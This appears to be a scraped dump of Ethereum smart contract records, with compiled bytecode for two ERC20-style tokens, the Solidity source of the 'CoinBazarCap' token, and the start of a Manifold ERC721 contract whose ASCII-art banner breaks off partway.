1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122048cdb44130106477cde29da00b9c2ad669960578f72ee2de524e363a4a23680064736f6c634300060c0033
[ 38 ]
0xf3a88200de35c6f935562e66844707999b77dd38
pragma solidity ^0.4.25; contract ForeignToken { function balanceOf(address _owner) public constant returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CoinBazarCap is ERC20 { address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply = 17000000 * 100000000; function name() public constant returns (string) { return "CoinBazarCap"; } function symbol() public constant returns (string) { return "CBC"; } function decimals() public constant returns (uint8) { return 8; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event DistrFinished(); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } function CoinBazarCap() public { owner = msg.sender; balances[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function getEthBalance(address _addr) constant public returns(uint) { return _addr.balance; } function distributeCBC(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public { for (uint i = 0; i < addresses.length; i++) { if (getEthBalance(addresses[i]) < _ethbal) { continue; } balances[owner] -= _value; balances[addresses[i]] += _value; emit Transfer(owner, addresses[i], _value); } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; emit Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; emit Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function finishDistribution() onlyOwner public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function withdrawForeignTokens(address _tokenContract) public returns (bool) { require(msg.sender == owner); ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063018de5c5146100e057806306fdde031461015a578063095ea7b3146101ea57806318160ddd1461024f57806323b872dd1461027a578063313ce567146102ff5780634d2301cc1461033057806370a082311461038757806395d89b41146103de5780639b1cbccc1461046e578063a9059cbb1461049d578063c108d54214610502578063dd62ed3e14610531578063e58fc54c146105a8578063f2fde38b14610603575b600080fd5b3480156100ec57600080fd5b50610158600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919080359060200190929190505050610646565b005b34801561016657600080fd5b5061016f61087f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101af578082015181840152602081019050610194565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b50610235600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b604051808215151515815260200191505060405180910390f35b34801561025b57600080fd5b50610264610a4a565b6040518082815260200191505060405180910390f35b34801561028657600080fd5b506102e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a50565b604051808215151515815260200191505060405180910390f35b34801561030b57600080fd5b50610314610d6d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033c57600080fd5b50610371600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b34801561039357600080fd5b506103c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d97565b6040518082815260200191505060405180910390f35b3480156103ea57600080fd5b506103f3610de0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610433578082015181840152602081019050610418565b50505050905090810190601f1680156104605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047a57600080fd5b50610483610e1d565b604051808215151515815260200191505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec9565b604051808215151515815260200191505060405180910390f35b34801561050e57600080fd5b506105176110d3565b604051808215151515815260200191505060405180910390f35b34801561053d57600080fd5b50610592600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e6565b6040518082815260200191505060405180910390f35b3480156105b457600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561060f57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b2565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106a457600080fd5b600560009054906101000a900460ff161515156106c057600080fd5b600090505b835181101561087957816106ef85838151811015156106e057fe5b90602001906020020151610d76565b10156106fa5761086c565b8260026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508260026000868481518110151561077c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555083818151811015156107db57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b80806001019150506106c5565b50505050565b60606040805190810160405280600c81526020017f436f696e42617a61724361700000000000000000000000000000000000000000815250905090565b600080821415801561094b57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156109595760009050610a44565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60045481565b6000606060048101600036905010151515610a6757fe5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b32575082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b3e5750600083115b8015610bc95750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15610d605782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150610d65565b600091505b509392505050565b60006008905090565b60008173ffffffffffffffffffffffffffffffffffffffff16319050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040805190810160405280600381526020017f4342430000000000000000000000000000000000000000000000000000000000815250905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7b57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b6000604060048101600036905010151515610ee057fe5b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610f2f5750600083115b8015610fba5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156110c75782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191506110cc565b600091505b5092915050565b600560009054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ce57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561126c57600080fd5b505af1158015611280573d6000803e3d6000fd5b505050506040513d602081101561129657600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136e57600080fd5b505af1158015611382573d6000803e3d6000fd5b505050506040513d602081101561139857600080fd5b810190808051906020019092919050505092505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582078c2695f1d9691c75dfeb0cef8296213c22b9895c3703d7044faed7f075a93850029
[ 14 ]
0xf3a88686defd105f73f9ba809dd74141b7a19425
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: 2obleA /// @author: manifold.xyz import "./ERC721Creator.sol"; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]@@[email protected]$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%[email protected]@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&) @@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&) @@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$8) @$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$8) $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]$$$$&) $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]@[email protected]$$$8( . $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]@0I . *@@[email protected]? $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0; *$$$$k? $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]; *$$$$k? '%[email protected][email protected]%@$$$$$$$$$$$$$$$$$$$$BB$$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]; *$$$$k? ?a$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Br )@$$$$$$$$$$$$$$$$$$$$$$$$ // // [email protected]; *[email protected]? [email protected] )[email protected]$$$$$$$$$$$$$$$$$$ // // [email protected]; *@[email protected]? [email protected]@@@@[email protected] )@[email protected]@@@@$$$$$$$$$$$$$$$$$$ // // [email protected]; ^[email protected]@[email protected]@@[email protected][email protected] . [email protected]@n. .. [email protected]@$$$$$$$$$; . [email protected]$$$$$$$$$$$$$$$$$$ // // [email protected]$0; ^[email protected][email protected]@$$ [email protected]$n [email protected]@@@@@@@@@I n$$$$$$$$$$$$$$$$$$$ // // [email protected]@@B0I ^J$$$$$$$$$$$$$$$$$ [email protected]@@@@@@[email protected]@n [email protected] n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#' . ^J$$$$$$$$$$$$$$$$$ '. '[email protected]@[email protected]@@[email protected]@@BU. n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$& ^J$$$$$$$$$$$$$$$$$ '[email protected]@[email protected]@[email protected][email protected]@@@J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$8 ^J$$$$$$$$$$$$$$$$$ 'Y$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$8 <XLLL0*$$$$$$$$$$$$$$$$$ 'Y$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$8 [*[email protected]@@$$$$$$$$$$$$$$$$$ 'Y$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$J n$$$$$$$$$$$$$$$$$$$ // // [email protected]@[email protected]$& [*$$$$$$$$$$$$$$$$$$$$$$ '[email protected] n$$$$$$$$$$$$$$$$$$$ // // [email protected]@ht????_. ,_?????????????????????-. 'Y$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$n????????????????i. n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< '[email protected]$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$[ n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< '[email protected][email protected]$$$$$$$$$$$$$$$$$$$$$$$$$$[ n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< >cJJJJJJJJJJJJJJJJJJJJJJJJJJJf: .~)))))[email protected])))))))))))cJJJJJJJJJJJJJJJJ( n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< [*[email protected]@@@@@@@@@@@@@@@@@@@@@@@@Zl [email protected][email protected]@n [email protected]@@@@@@@@@@@@@@J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< [*[email protected]@@Zl [email protected][email protected]@@@@x 0$$$$$$$$$$$$$$$$J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< `)))))[email protected]@@bj))))! [email protected]$$$$$$$$%UUJUU}. <)))))[email protected]@@$$$$$$$$$$$$$J n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< ^@[email protected]%BBB8/ [email protected][email protected] [email protected][email protected] n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$d< ^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$B%%BB8| [email protected]@$$$$$$$$. [email protected] n$$$$$$$$$$$$$$$$$$$ // // [email protected]@p< ^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%8888%| [email protected][email protected]%@$$$%` .. v$$$$$$$$$$$$$$$$B%[email protected]%U. n$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$^ ^[email protected][email protected]@%/ [email protected]@[email protected]@Bx v$$$$$$$$$$$$$$$$B; n$$$$$$$$$$$$$$$$$$$ // // [email protected]@@@$$$^ ^[email protected]@@@@[email protected]@@[email protected]@%| ;[email protected][email protected]@[email protected]@@n [email 